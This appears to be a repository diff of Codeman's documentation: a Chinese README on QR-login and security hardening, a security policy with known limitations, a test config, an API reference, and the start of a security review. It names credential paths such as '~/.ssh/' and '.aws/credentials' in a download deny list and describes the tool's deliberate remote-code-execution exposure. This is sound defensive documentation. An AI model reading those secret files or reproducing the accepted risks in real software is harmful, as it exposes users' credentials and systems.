通过隧道暴露前**务必设置 `CODEMAN_PASSWORD`** —— 否则任何拿到 URL 的人都能完全访问你的会话。
|
||||
|
||||
</details>
|
||||
|
||||
### 二维码认证
|
||||
|
||||
在手机键盘上输密码很糟糕。Codeman 用**短暂的一次性二维码令牌**解决这个问题 —— 扫描桌面上的二维码,手机即刻完成认证。无密码提示、无打字、无剪贴板。
|
||||
|
||||
```
|
||||
桌面显示二维码 → 手机扫描 → GET /q/Xk9mQ3 → 服务端校验
|
||||
→ 令牌原子性消费(一次性) → 签发会话 cookie → 302 跳转到 /
|
||||
→ 桌面收到通知:「设备已通过二维码认证」 → 自动生成新二维码
|
||||
```
|
||||
|
||||
只拿到裸隧道 URL(没有二维码)的人,仍会撞上标准密码提示。二维码是快速通道;密码是回退方案。
|
||||
|
||||
#### 工作原理
|
||||
|
||||
服务端维护一个轮换的、短生命周期、一次性令牌池。每个令牌由一个 256 位密钥(`crypto.randomBytes(32)`)和一个用作 URL 路径中不透明查找键的 6 字符 base62 短码配对组成。二维码编码的 URL 形如 `https://abc-xyz.trycloudflare.com/q/Xk9mQ3` —— 短码是指针,而非密钥本身,因此它绝不会通过浏览器历史、`Referer` 头或 Cloudflare 边缘日志泄露。
|
||||
|
||||
每 **60 秒**,服务端自动轮换到一个全新令牌。上一个令牌会保留 **90 秒的宽限期**,以处理你刚好在轮换瞬间扫描的竞争情况 —— 此后即作废。每个令牌都是**一次性**的:手机一旦成功扫描,令牌就被原子性消费,并立即为桌面显示生成一个新的。
|
||||
|
||||
#### 安全设计
|
||||
|
||||
该设计参考了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)(USENIX Security 2025),该研究发现 Top-100 网站中有 47 个因横跨 42 个 CVE 的 6 个关键设计缺陷而易受二维码认证攻击。Codeman 全部六个都做了应对:
|
||||
|
||||
| USENIX 缺陷 | 缓解措施 |
|
||||
|-------------|------------|
|
||||
| **缺陷 1**:缺少一次性强制 | 令牌首次扫描即原子性消费 —— 重放永远失败 |
|
||||
| **缺陷 2**:长生命周期令牌 | 60s TTL + 90s 宽限,由定时器自动轮换 |
|
||||
| **缺陷 3**:可预测的令牌生成 | `crypto.randomBytes(32)` —— 256 位熵。短码采用拒绝采样以消除取模偏差 |
|
||||
| **缺陷 4**:客户端令牌生成 | 仅服务端 —— 令牌在嵌入二维码前绝不离开服务器 |
|
||||
| **缺陷 5**:缺少状态通知 | 桌面提示:*「设备 [IP] 已通过二维码认证(Safari)。不是你?[吊销]」* —— 实时 QRLjacking 检测 |
|
||||
| **缺陷 6**:会话绑定不足 | 存储 IP + User-Agent 以供审计。通过 API 手动吊销会话。HttpOnly + Secure + SameSite=lax cookie |
|
||||
|
||||
#### 时序安全的查找
|
||||
|
||||
短码存储在 `Map<shortCode, TokenRecord>` 中。校验使用 `Map.get()` —— 一个基于哈希的 O(1) 查找,不会通过响应时延泄露目标字符串的任何信息。热路径上任何地方都没有逐字符字符串比较,彻底消除了时序侧信道攻击。
|
||||
|
||||
#### 速率限制(双层)
|
||||
|
||||
二维码认证有自己的速率限制,与密码认证完全独立:
|
||||
|
||||
- **按 IP**:同一 IP 失败 10 次二维码尝试即触发 429 封锁(15 分钟衰减窗口)—— 与 Basic Auth 的失败计数器分开,因此打错密码不会消耗你的二维码额度
|
||||
- **全局**:所有 IP 合计每分钟 30 次二维码尝试 —— 抵御分布式暴力破解。考虑到 62^6 = 568 亿种可能短码、任意时刻仅约 2 个有效,无论如何暴力破解都在计算上不可行
|
||||
|
||||
#### 二维码尺寸优化
|
||||
|
||||
URL 被刻意保持精简(`/q/` 路径 + 6 字符码 ≈ 53–56 个字符),以瞄准 **QR 版本 4**(33×33 模块)而非版本 5(37×37)。更小的二维码在低端手机上扫描更快 —— 现代设备读取版本 4 仅需 100–300 毫秒。`/q/` 前缀相比 `/qr-auth/` 省下 7 个字节,仅此一项就足以决定二维码版本的差别。
|
||||
|
||||
#### 桌面体验
|
||||
|
||||
二维码显示每 60 秒通过 SSE 自动刷新,SVG 直接嵌入事件载荷(约 2–5KB)—— 无需额外 HTTP 请求,刷新低于 50ms。倒计时器显示剩余时间。「重新生成」按钮可即时使所有现有令牌失效并创建一个新的(在你怀疑二维码被拍照时很有用)。
|
||||
|
||||
当有人通过二维码认证时,桌面会弹出一个带设备 IP 与浏览器信息的通知 —— 如果不是你,一键即可吊销所有会话。
|
||||
|
||||
#### 威胁覆盖
|
||||
|
||||
| 威胁 | 为何无效 |
|
||||
|--------|-------------------|
|
||||
| **二维码截图被分享** | 一次性:首次扫描即消费。60s TTL:攻击者动手前已过期。桌面通知会立即提醒你。 |
|
||||
| **重放攻击** | 原子性一次性消费 + 60s TTL。旧 URL 始终返回 401。 |
|
||||
| **Cloudflare 边缘日志** | 短码是不透明的 6 字符查找键,而非真正的 256 位令牌。一次性意味着从日志重放永远失败。 |
|
||||
| **暴力破解** | 568 亿种组合、任意时刻约 2 个有效、双层速率限制,早在统计可行性之前就已拦截。 |
|
||||
| **QRLjacking** | 60s 轮换迫使实时转发。桌面提示提供即时检测。自托管单用户场景使钓鱼难以成立。 |
|
||||
| **时序攻击** | 基于哈希的 Map 查找 —— 无字符串比较时序泄露。 |
|
||||
| **会话 cookie 窃取** | HttpOnly + Secure + SameSite=lax + 24h TTL。可在 `POST /api/auth/revoke` 手动吊销。 |
|
||||
|
||||
#### 横向对比
|
||||
|
||||
| 平台 | 模型 | 对比 |
|
||||
|----------|-------|------------|
|
||||
| **Discord** | 长生命周期令牌、无确认、[屡被利用](https://owasp.org/www-community/attacks/Qrljacking) | Codeman:一次性 + TTL + 通知 |
|
||||
| **WhatsApp Web** | 手机确认「关联设备?」,约 60s 轮换 | 轮换相当;WhatsApp 额外加了显式确认(对单用户而言是可接受的取舍) |
|
||||
| **Signal** | 临时公钥、端到端加密信道 | 加密更强,但 [2025 年仍被俄罗斯国家级行为者](https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger)通过社会工程攻破 |
|
||||
|
||||
> 完整设计理由、安全分析与实现细节:[`docs/qr-auth-plan.md`](docs/qr-auth-plan.md)
|
||||
|
||||
---
|
||||
|
||||
## 安全
|
||||
|
||||
Codeman 用 `--dangerously-skip-permissions` 启动会话,因此 Web UI 在设计上对任何能访问到它的人都是一个远程代码执行面 —— 整套安全模型的存在就是为了控制*谁*能访问。近期加固(v0.9.0 + v0.9.5)封堵了那些常困扰自托管开发工具的浏览器驱动攻击路径。完整模型:[`docs/security-architecture.md`](docs/security-architecture.md)。
|
||||
|
||||
### 网络与访问
|
||||
|
||||
- **默认仅环回** —— 绑定 `127.0.0.1`,仅可从本机访问,因此「无密码」默认配置开箱即安全。在未设置 `CODEMAN_PASSWORD` 的情况下绑定非环回主机会*启动但打印一条醒目警告*,并给出三个具体修复方案(设置密码、环回 + 一个带认证的隧道,或用 `--allow-unauthenticated-network` 显式确认)
|
||||
- **可选认证,真实会话** —— 通过 `CODEMAN_USERNAME`(默认 `admin`)/ `CODEMAN_PASSWORD` 的 HTTP Basic 认证。成功后签发一个不透明的 256 位 `codeman_session` cookie(`randomBytes(32)`)—— 服务端校验,而非客户端签名,因此无法离线伪造(24h TTL、自动延长、设备上下文审计日志)
|
||||
- **按 IP 速率限制** —— 失败 10 次 → `429` 并带 `Retry-After`(15 分钟衰减)。即便攻击者在同一 IP 上猛攻,有效 cookie 或正确密码也能*立即*恢复 —— 这很重要,因为所有隧道流量共享同一个环回 IP。二维码认证有自己独立的限制器
|
||||
|
||||
### 始终开启的浏览器加固(v0.9.5)
|
||||
|
||||
以下对**每个**请求都生效 —— 在认证之前,即便是默认的无密码环回安装:
|
||||
|
||||
- **Host 头允许列表 → 阻断 DNS 重绑定。** 一个被重绑定到 `127.0.0.1` 的自定义域名会在任何处理器运行前被 `403 host not allowed` 拒绝。允许:`localhost`、任意 IP 字面量、绑定主机、`.ts.net` / `.trycloudflare.com` / `.cfargotunnel.com`、当前受管隧道,以及 `CODEMAN_ALLOWED_HOSTS`(在此添加自定义反向代理域名 —— 逗号分隔;精确主机或前导点 `.suffix` 匹配子域名)
|
||||
- **跨站 Origin / CSRF 防护。** 对变更状态的方法(`POST`/`PUT`/`PATCH`/`DELETE`),`Origin` 必须通过同一允许列表,否则返回 `403 cross-site request blocked`。*缺失*的 Origin 被允许(因此 `curl`、CLI 与 Claude Code hook 仍可工作);只有存在但外来、或不透明的 `null` origin 才会被拒绝
|
||||
- **原始 `text/plain` 请求体。** 全局解析器不再对 `text/plain` 做 JSON 解析,封堵了那个跨站 `fetch` 能在无预检的情况下把 JSON 走私进写路由的 CORS「简单请求」CSRF 向量
|
||||
- **WebSocket Origin 校验。** 终端 WS 升级运行同样的 Host + Origin 检查,失败时以代码 `4003` 关闭(反 CSWSH)
|
||||
- **XSS 转义的智能体输出。** AI 衍生的字符串(工具名、命令参数、子智能体描述)在渲染进子智能体 / 活动面板前,于每个注入点都做 HTML 转义
|
||||
|
||||
### 输入、文件与响应头
|
||||
|
||||
- **模式校验的输入** —— 每个 API 请求体都用 Zod v4 模式检查;一个 `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` 环境变量前缀允许列表把控每个 CLI 能接收哪些设置
|
||||
- **路径限定** —— 文件路由在边界检查前先 `realpath`(无 TOCTOU);`..`、绝对路径、以及解析到工作目录之外的符号链接都会被拒绝。上限:10 MB 文本预览 / 50 MB 原始与下载;`/api/download` 对敏感路径(`.env`、`*credentials*`、`~/.ssh/`、`.aws/credentials`)做黑名单。SVG/HTML 以 `octet-stream` + `nosniff` + attachment 提供,因此会被下载而非执行
|
||||
- **安全响应头** —— `Content-Security-Policy`(`default-src 'self'`,每个例外都逐条列举)、`X-Content-Type-Options: nosniff`、`X-Frame-Options: SAMEORIGIN`、HTTPS 下的 HSTS,以及**仅**对 `localhost` / `127.0.0.1` / `::1` 反射的 CORS
|
||||
|
||||
### 供应链与隔离
|
||||
|
||||
- **锁定并校验的依赖** —— 安全敏感的传递依赖通过 npm `overrides` 强制为已打补丁版本;每次提交/PR 都检查锁文件完整性(所有条目都解析到 `registry.npmjs.org` 且带 `sha512` 哈希)。公共资源在 CI 中做 NUL 字节扫描与 `node --check` 校验
|
||||
- **多实例隔离** —— `CODEMAN_INSTANCE` 同时限定 tmux 套接字(`-L codeman-<name>`)与数据目录(`~/.codeman-<name>`),因此两个实例绝不会互相附着对方的活动会话
|
||||
|
||||
> 移动端登录使用一次性、60 秒二维码令牌 —— 完整设计见上文[二维码认证](#二维码认证)(它应对了 USENIX Security 2025 二维码登录研究中的全部 6 个缺陷)。
|
||||
|
||||
---
|
||||
|
||||
## SSH 替代方案(`sc`)
|
||||
|
||||
如果你更喜欢 SSH(Termius、Blink 等),`sc` 命令是一个便于拇指操作的会话选择器:
|
||||
|
||||
```bash
|
||||
sc # 交互式选择器
|
||||
sc 2 # 快速附着到会话 2
|
||||
sc -l # 列出会话
|
||||
```
|
||||
|
||||
单数字选择(1–9)、颜色编码的状态、token 计数、自动刷新。用 `Ctrl+A D` 分离。
|
||||
|
||||
---
|
||||
|
||||
## 键盘快捷键
|
||||
|
||||
> Ctrl 绑定在 macOS 上也接受 Cmd。
|
||||
|
||||
| 快捷键 | 动作 |
|
||||
|----------|--------|
|
||||
| `Ctrl/Cmd+W` | 杀掉当前会话 |
|
||||
| `Ctrl/Cmd+Tab` | 下一个会话 |
|
||||
| `Alt+1`–`Alt+9` | 切换到第 N 个标签 |
|
||||
| `Ctrl+Shift+{` / `Ctrl+Shift+}` | 将当前标签左移 / 右移 |
|
||||
| `Ctrl/Cmd+L` | 清屏 |
|
||||
| `Ctrl+Shift+R` | 恢复终端尺寸 |
|
||||
| `Ctrl+Shift+V` | 切换语音输入 |
|
||||
| `Ctrl/Cmd +` / `-` | 字体大小 |
|
||||
| `Ctrl/Cmd+?` | 键盘帮助 |
|
||||
| `Shift+Enter` | 插入换行(发送到终端) |
|
||||
| `Escape` | 关闭面板与模态框 |
|
||||
|
||||
---
|
||||
|
||||
## API
|
||||
|
||||
基于 Fastify 的 REST —— **15 个路由模块中约 140 个处理器**,外加一条 SSE 流和一条 WebSocket 终端通道。以下是一个有代表性的子集:
|
||||
|
||||
### 会话(Sessions)
|
||||
| 方法 | 端点 | 说明 |
|
||||
|--------|----------|-------------|
|
||||
| `GET` | `/api/sessions` | 列出全部 |
|
||||
| `POST` | `/api/quick-start` | 创建 case 并启动会话 |
|
||||
| `DELETE` | `/api/sessions/:id` | 删除会话 |
|
||||
| `POST` | `/api/sessions/:id/input` | 发送输入 |
|
||||
|
||||
### 重生(Respawn)
|
||||
| 方法 | 端点 | 说明 |
|
||||
|--------|----------|-------------|
|
||||
| `POST` | `/api/sessions/:id/respawn/enable` | 启用,带配置与定时器 |
|
||||
| `POST` | `/api/sessions/:id/respawn/stop` | 停止控制器 |
|
||||
| `PUT` | `/api/sessions/:id/respawn/config` | 更新配置 |
|
||||
|
||||
### Ralph / Todo
|
||||
| 方法 | 端点 | 说明 |
|
||||
|--------|----------|-------------|
|
||||
| `GET` | `/api/sessions/:id/ralph-state` | 获取循环状态 + todos |
|
||||
| `POST` | `/api/sessions/:id/ralph-config` | 配置跟踪 |
|
||||
|
||||
### 编排器(Orchestrator)
|
||||
| 方法 | 端点 | 说明 |
|
||||
|--------|----------|-------------|
|
||||
| `POST` | `/api/orchestrator/start` | 从目标启动编排 |
|
||||
| `POST` | `/api/orchestrator/approve` | 批准生成的计划 |
|
||||
| `GET` | `/api/orchestrator/status` | 当前阶段 + 进度 |
|
||||
| `POST` | `/api/orchestrator/stop` | 停止并清理 |
|
||||
|
||||
### 子智能体(Subagents)
|
||||
| 方法 | 端点 | 说明 |
|
||||
|--------|----------|-------------|
|
||||
| `GET` | `/api/subagents` | 列出所有后台智能体 |
|
||||
| `GET` | `/api/subagents/:id` | 智能体信息与状态 |
|
||||
| `GET` | `/api/subagents/:id/transcript` | 完整活动记录 |
|
||||
| `DELETE` | `/api/subagents/:id` | 杀掉智能体进程 |
|
||||
|
||||
### 系统(System)
|
||||
| 方法 | 端点 | 说明 |
|
||||
|--------|----------|-------------|
|
||||
| `GET` | `/api/events` | SSE 流 |
|
||||
| `GET` | `/api/status` | 完整应用状态 |
|
||||
| `POST` | `/api/hook-event` | Hook 回调 |
|
||||
| `GET` | `/api/system/update/check` | 检查新发行版 |
|
||||
| `POST` | `/api/system/update` | 自更新(git-clone 安装) |
|
||||
| `POST` | `/api/clipboard` | 把文本推送到所有已连接浏览器(`{text}`) |
|
||||
| `GET` | `/api/sessions/:id/run-summary` | 时间线 + 统计 |
|
||||
|
||||
---
|
||||
|
||||
## 架构
|
||||
|
||||
```mermaid
|
||||
flowchart TB
|
||||
subgraph Codeman["CODEMAN"]
|
||||
subgraph Frontend["前端层"]
|
||||
UI["Web UI<br/><small>xterm.js + 智能体窗口</small>"]
|
||||
API["REST API<br/><small>Fastify</small>"]
|
||||
SSE["SSE 事件<br/><small>/api/events</small>"]
|
||||
end
|
||||
|
||||
subgraph Core["核心层"]
|
||||
SM["会话管理器"]
|
||||
S1["会话 (PTY)"]
|
||||
S2["会话 (PTY)"]
|
||||
RC["重生控制器"]
|
||||
ORC["编排器循环"]
|
||||
end
|
||||
|
||||
subgraph Detection["检测层"]
|
||||
RT["Ralph 跟踪器"]
|
||||
SW["子智能体监视器<br/><small>~/.claude/projects/*/subagents</small>"]
|
||||
TW["团队监视器<br/><small>~/.claude/teams/*</small>"]
|
||||
end
|
||||
|
||||
subgraph Persistence["持久化层"]
|
||||
SCR["Mux 管理器<br/><small>(tmux)</small>"]
|
||||
SS["状态存储<br/><small>state.json</small>"]
|
||||
end
|
||||
|
||||
subgraph External["外部"]
|
||||
CLI["AI CLI<br/><small>Claude Code / OpenCode / Codex</small>"]
|
||||
BG["后台智能体<br/><small>(Task 工具)</small>"]
|
||||
end
|
||||
end
|
||||
|
||||
UI <--> API
|
||||
API <--> SSE
|
||||
API --> SM
|
||||
SM --> S1
|
||||
SM --> S2
|
||||
SM --> RC
|
||||
SM --> ORC
|
||||
SM --> SS
|
||||
S1 --> RT
|
||||
S1 --> SCR
|
||||
S2 --> SCR
|
||||
RC --> SCR
|
||||
ORC --> SCR
|
||||
SCR --> CLI
|
||||
SW --> BG
|
||||
SW --> SSE
|
||||
TW --> SSE
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 开发
|
||||
|
||||
```bash
|
||||
npm install
|
||||
npx tsx src/index.ts web # 开发模式
|
||||
npm run build # 生产构建
|
||||
npm test # 运行测试
|
||||
```
|
||||
|
||||
完整文档见 [CLAUDE.md](./CLAUDE.md)。
|
||||
|
||||
---
|
||||
|
||||
## 代码库质量
|
||||
|
||||
本代码库经历了一次全面的 7 阶段重构,消除了上帝对象、集中了配置,并建立了模块化架构:
|
||||
|
||||
| 阶段 | 改了什么 | 影响 |
|
||||
|-------|-------------|--------|
|
||||
| **性能** | 缓存端点、SSE 自适应批处理、缓冲区分块 | 终端延迟低于 16ms |
|
||||
| **路由抽取** | `server.ts` 拆分为 15 个领域路由模块 + 认证中间件 + 端口接口 | server.ts 代码量 **−67%**(6,736 → 2,254) |
|
||||
| **领域拆分** | `types.ts` → 16 个领域文件、`ralph-tracker` → 7 个文件、`respawn-controller` → 5 个文件、`session` → 6 个文件 | 不再有上帝文件 |
|
||||
| **前端模块** | `app.js` → 18 个抽取模块,横跨基础设施、领域与特性层 | app.js 核心降至 **约 3.4K 行** |
|
||||
| **配置合并** | 约 70 个散落的魔法数字 → 10 个领域聚焦的配置文件 | 零跨文件重复 |
|
||||
| **测试基础设施** | 共享 mock 库、12 个路由测试文件、统一的 MockSession | 路由处理器可通过 `app.inject()` 测试 |
|
||||
|
||||
完整细节:[`docs/archive/code-structure-findings.md`](docs/archive/code-structure-findings.md)
|
||||
|
||||
---
|
||||
|
||||
## 已发布的包
|
||||
|
||||
### [`xterm-zerolag-input`](https://www.npmjs.com/package/xterm-zerolag-input)
|
||||
|
||||
[](https://www.npmjs.com/package/xterm-zerolag-input)
|
||||
|
||||
为 xterm.js 提供即时按键反馈的叠加层。通过把输入的字符立即渲染为像素级精准的 DOM 叠加层,消除高 RTT 连接下的感知输入延迟。零依赖、可配置的提示符检测、带 78 个测试的完整状态机。
|
||||
|
||||
```bash
|
||||
npm install xterm-zerolag-input
|
||||
```
|
||||
|
||||
[完整文档](packages/xterm-zerolag-input/README.md)
|
||||
|
||||
---
|
||||
|
||||
## 许可证
|
||||
|
||||
MIT —— 见 [LICENSE](LICENSE)
|
||||
|
||||
---
|
||||
|
||||
<p align="center">
|
||||
<strong>跟踪会话。可视化智能体。掌控重生。让它在你睡觉时持续运行。</strong>
|
||||
</p>
|
||||
+78
@@ -0,0 +1,78 @@
|
||||
# Security Policy
|
||||
|
||||
Codeman launches AI coding sessions with `--dangerously-skip-permissions`, so the
|
||||
web UI is **by design a remote-code-execution surface for whoever can reach it**.
|
||||
The entire security model exists to control *who* that is. Please read this before
|
||||
exposing an instance beyond `localhost`. The full model lives in
|
||||
[`docs/security-architecture.md`](docs/security-architecture.md).
|
||||
|
||||
## Supported versions
|
||||
|
||||
Security fixes land on the latest published `codeman@X.Y.Z` release and `master`.
|
||||
Older versions are not patched — upgrade to the latest release (App Settings →
|
||||
Updates for git-clone installs, or `npm i -g aicodeman@latest`).
|
||||
|
||||
| Version | Supported |
|
||||
| ------- | --------- |
|
||||
| latest `0.9.x` / `master` | ✅ |
|
||||
| anything older | ❌ (upgrade) |
|
||||
|
||||
## Reporting a vulnerability
|
||||
|
||||
**Please do not open a public issue for security problems.**
|
||||
|
||||
Report privately via **GitHub's private vulnerability reporting**:
|
||||
the repository's **Security** tab → **Report a vulnerability**
|
||||
(<https://github.com/Ark0N/Codeman/security/advisories/new>). This opens a private
|
||||
advisory thread with the maintainer.
|
||||
|
||||
> Maintainer note: enable *Settings → Code security and analysis → Private
|
||||
> vulnerability reporting* so this channel is live.
|
||||
|
||||
When reporting, please include: affected version/commit, the deployment shape
|
||||
(loopback-only, `CODEMAN_PASSWORD` set, tunnel/`tailscale serve`, custom
|
||||
reverse proxy), reproduction steps, and impact. We aim to acknowledge within a
|
||||
few days. Coordinated disclosure is appreciated — we'll agree a disclosure
|
||||
timeline with you once impact is confirmed.
|
||||
|
||||
### In scope
|
||||
- Authentication / session-cookie bypass when `CODEMAN_PASSWORD` is set
|
||||
- DNS-rebinding, CSRF/CSWSH, or Origin/Host-guard bypass reaching state-changing routes
|
||||
- Remote code execution reachable **without** local OS access (e.g. via a browser, a tunnel, or a foreign origin)
|
||||
- Path traversal / arbitrary file read or write through the HTTP API
|
||||
- Supply-chain integrity of the in-app self-updater
|
||||
|
||||
### Out of scope (by design — see Known limitations)
|
||||
- Anything requiring an already-trusted **same-machine, same-uid** process. Codeman trusts the local OS user it runs as; a peer process of that user is already inside the boundary.
|
||||
- Running an authless instance bound to a non-loopback host after dismissing the startup warning (you explicitly acknowledged it).
|
||||
- The default loopback + no-password posture itself (it is reachable only from the same machine).
|
||||
|
||||
## Trust model (summary)
|
||||
|
||||
- **Loopback by default.** Binds `127.0.0.1`; the no-password default is safe out of the box. Binding a non-loopback host without `CODEMAN_PASSWORD` *starts but prints a loud warning* with concrete fixes.
|
||||
- **Always-on Host + Origin guards.** Block DNS-rebinding and cross-site state-changing requests even on the no-auth loopback install (a missing Origin is allowed so CLI/hooks work).
|
||||
- **Optional auth.** HTTP Basic via `CODEMAN_USERNAME`/`CODEMAN_PASSWORD`; success issues an opaque server-side 256-bit cookie. Per-IP rate limiting on failures.
|
||||
- **Hardened file serving, tmux launch, transport headers, and multi-instance isolation** — see the full architecture doc.
|
||||
|
||||
## Known limitations and accepted risk
|
||||
|
||||
A 1.0 release is an implicit statement that the documented model *is* the model, so
|
||||
these residuals are stated explicitly. Most sit **inside the same-uid OS trust
|
||||
boundary** or behind the always-on Origin guard; they matter mainly for
|
||||
shared-host, multi-user, or tunneled deployments.
|
||||
|
||||
- **Self-update trusts an unsigned release tag.** The in-app updater does `git checkout <tag> && npm install` (lifecycle scripts run) of a tag matched only by name shape, from whatever `origin` points to — no signature/commit verification. Treat the updater as trusting your `origin` remote and your release pipeline. (Hardening tracked for 1.0.)
|
||||
- **CSP ships `'unsafe-inline'`.** Inline handlers mean the Content-Security-Policy is defense-in-depth only; all AI-/file-derived sinks are escaped, but a future missed escape would be executable.
|
||||
- **`workingDir` is unconstrained.** A session may be created with any absolute working directory (e.g. `/`), which becomes the file-route boundary for that session. Scope it to trusted paths on shared hosts.
|
||||
- **Hook-event auth exemption is loopback-IP-based.** `POST /api/hook-event` is exempt from auth for loopback callers; because tunnels (cloudflared / `tailscale serve`) terminate at `127.0.0.1`, a loopback-terminating tunnel inherits the exemption. Set `CODEMAN_PASSWORD` and prefer a tunnel that preserves the client identity if this matters.
|
||||
- **Session cookie is not bound to client IP/UA on reuse, and refreshes without an absolute cap.** A stolen cookie replays until its idle TTL elapses.
|
||||
- **Multi-instance tmux socket is process-wide.** Two Codeman instances on the same `CODEMAN_INSTANCE` share a tmux socket and can attach each other's live sessions — isolate with distinct `CODEMAN_INSTANCE` values.
|
||||
- **The live log-tail route reads `/var/log` and `~/logs`** in addition to the session working directory (read-only) — a deliberate choice for tailing system/app logs. On a password-protected remote deployment an authenticated user can therefore read those roots outside their session. See `docs/security-architecture.md` §5.
|
||||
|
||||
Recent hardening (this release): web-push subscription endpoints are restricted
|
||||
to https public hosts (SSRF guard — rejects internal/metadata IPs, validated at
|
||||
subscribe and send time), and tmux session names discovered on the shared socket
|
||||
are validated against the safe-name pattern before reaching any shell call site.
|
||||
|
||||
For the detailed rationale, defenses, and recommended secure setups, see
|
||||
[`docs/security-architecture.md`](docs/security-architecture.md).
|
||||
@@ -0,0 +1,33 @@
|
||||
import { resolve } from 'node:path';
|
||||
import { defineConfig, configDefaults } from 'vitest/config';
|
||||
|
||||
const root = resolve(import.meta.dirname, '..');
|
||||
|
||||
/**
|
||||
* CI test config — same as vitest.config.ts but EXCLUDES the browser-driven
|
||||
* mobile suite (test/mobile/**). Those are Playwright visual-regression tests
|
||||
* that need a live server + chromium + environment-specific PNG baselines, so
|
||||
* they are run/maintained separately and are not part of the CI gate.
|
||||
*
|
||||
* Keep the rest in sync with config/vitest.config.ts.
|
||||
*/
|
||||
export default defineConfig({
|
||||
test: {
|
||||
root,
|
||||
globals: true,
|
||||
environment: 'node',
|
||||
include: ['test/**/*.test.ts'],
|
||||
exclude: [
|
||||
...configDefaults.exclude,
|
||||
'test/mobile/**', // browser/visual (Playwright + chromium)
|
||||
'test/perf-*.test.ts', // timing-sensitive perf benchmarks (flaky in CI)
|
||||
'test/inline-rename.test.ts', // browser (Playwright)
|
||||
'test/opencode-resize.test.ts', // browser (Playwright)
|
||||
'test/webgl-fallback.test.ts', // browser (Playwright)
|
||||
],
|
||||
setupFiles: ['./test/setup.ts'],
|
||||
fileParallelism: false,
|
||||
testTimeout: 30000,
|
||||
teardownTimeout: 60000,
|
||||
},
|
||||
});
|
||||
@@ -0,0 +1,90 @@
|
||||
# HTTP API Reference
|
||||
|
||||
Codeman's HTTP API is a **stable contract** as of 1.0 — see
|
||||
[`versioning-policy.md`](versioning-policy.md) for the SemVer guarantee. This page
|
||||
defines the response envelope, status codes, error codes, versioning, and the SSE
|
||||
event channel.
|
||||
|
||||
## Versioning
|
||||
|
||||
- The stable, public surface is served under **`/api/v1/...`**. Pin external
|
||||
clients to this prefix.
|
||||
- The unversioned **`/api/...`** paths are a permanent alias of the current
|
||||
version (what the bundled web UI uses). They are kept working, but new external
|
||||
integrations should use `/api/v1`.
|
||||
- Breaking changes to the contract ship under a new prefix (`/api/v2`); `/api/v1`
|
||||
keeps its semantics. Additive changes (new endpoints, new optional fields, new
|
||||
error codes) are non-breaking and may appear in a minor release.
|
||||
- The implementation rewrites `/api/v1/*` → `/api/*` at the server level
|
||||
(`rewriteApiV1Url` in `src/web/server.ts`).
|
||||
|
||||
## Response envelope
|
||||
|
||||
Every JSON response uses one uniform envelope, applied centrally by a
|
||||
`preSerialization` hook (`src/web/server.ts`) — handlers return bare data and the
|
||||
hook wraps it:
|
||||
|
||||
**Success** — HTTP `2xx`:
|
||||
|
||||
```json
|
||||
{ "success": true, "data": <payload> }
|
||||
```
|
||||
|
||||
`data` is the endpoint's payload (object, array, or value). Endpoints with no
|
||||
payload return `{ "success": true, "data": {} }`.
|
||||
|
||||
**Error** — HTTP `4xx`/`5xx`:
|
||||
|
||||
```json
|
||||
{ "success": false, "error": "human-readable message", "errorCode": "NOT_FOUND" }
|
||||
```
|
||||
|
||||
`ApiResponse<T>` in `src/types/api.ts` is the canonical type.
|
||||
|
||||
> Non-JSON endpoints are exempt from the envelope: `GET /api/sessions/:id/file-raw`,
|
||||
> `GET /api/sessions/:id/tail-file` (SSE), `GET /api/download`,
|
||||
> `GET /api/screenshots/:name`, `GET /q/:code` (QR redirect), and the
|
||||
> `GET /ws/sessions/:id/terminal` WebSocket upgrade.
|
||||
|
||||
## Error codes → HTTP status
|
||||
|
||||
The single source of truth is `ErrorStatus` / `httpStatusForErrorCode()` in
|
||||
`src/types/api.ts`. Clients should branch on `errorCode` (stable) and may rely on
|
||||
the HTTP status.
|
||||
|
||||
| `errorCode` | HTTP | Meaning |
|
||||
|-------------|------|---------|
|
||||
| `INVALID_INPUT` | 400 | Malformed request / failed validation |
|
||||
| `UNAUTHORIZED` | 401 | Authentication required or failed |
|
||||
| `NOT_FOUND` | 404 | Resource does not exist |
|
||||
| `SESSION_BUSY` | 409 | Session is busy |
|
||||
| `CONFLICT` | 409 | Conflicts with current state (e.g. already running) |
|
||||
| `ALREADY_EXISTS` | 409 | Resource already exists |
|
||||
| `OPERATION_FAILED` | 422 | Well-formed but could not be completed |
|
||||
| `RATE_LIMITED` | 429 | Too many requests |
|
||||
| `INTERNAL_ERROR` | 500 | Unexpected server error |
|
||||
|
||||
Adding a new error code is non-breaking; removing or renaming one is a major change.
|
||||
|
||||
## Authentication
|
||||
|
||||
Optional HTTP Basic (`CODEMAN_USERNAME`/`CODEMAN_PASSWORD`) → opaque
|
||||
`codeman_session` cookie. When enabled, unauthenticated requests get
|
||||
`401 UNAUTHORIZED`; rate-limited requests get `429 RATE_LIMITED`. See
|
||||
[`security-architecture.md`](security-architecture.md).
|
||||
|
||||
## SSE event channel
|
||||
|
||||
`GET /api/events` is a Server-Sent Events stream (`text/event-stream`); each
|
||||
message is `event: <name>` + `data: <json>`. The event-name registry
|
||||
(`src/web/sse-events.ts`, mirrored in `src/web/public/constants.js`) is part of
|
||||
the stable contract — event names are not renamed without a major bump. An
|
||||
optional `?sessions=<id,...>` filter suppresses only the high-volume terminal
|
||||
stream; lifecycle/metadata events are delivered to all clients regardless.
|
||||
|
||||
## Consuming from JavaScript
|
||||
|
||||
The bundled frontend reads responses through `_apiJson()`
|
||||
(`src/web/public/api-client.js`), which unwraps `{success:true,data}` → `data` and
|
||||
returns `null` on a non-2xx / `{success:false}` response. External clients should
|
||||
do the same: check the HTTP status (or `body.success`), then read `body.data`.
|
||||
@@ -0,0 +1,149 @@
|
||||
# Codeman Security Review — 2026-06-09
|
||||
|
||||
> **⚠️ Remediation status (updated 2026‑06‑09):** the two CRITICALs and 5 of the 7
|
||||
> HIGHs below were **fixed the same day in commit `c669518` (shipped as 0.9.5)** —
|
||||
> an always‑on `Host`‑header + cross‑site `Origin` allowlist (`registerHostGuard`),
|
||||
> a raw `text/plain` body parser, a WebSocket `Origin`/`Host` check, and
|
||||
> HTML‑escaped subagent‑panel sinks. **The present‑tense "is exploitable" wording
|
||||
> below describes the pre‑fix v0.9.4 state.** Still open: **H2** (the self‑updater
|
||||
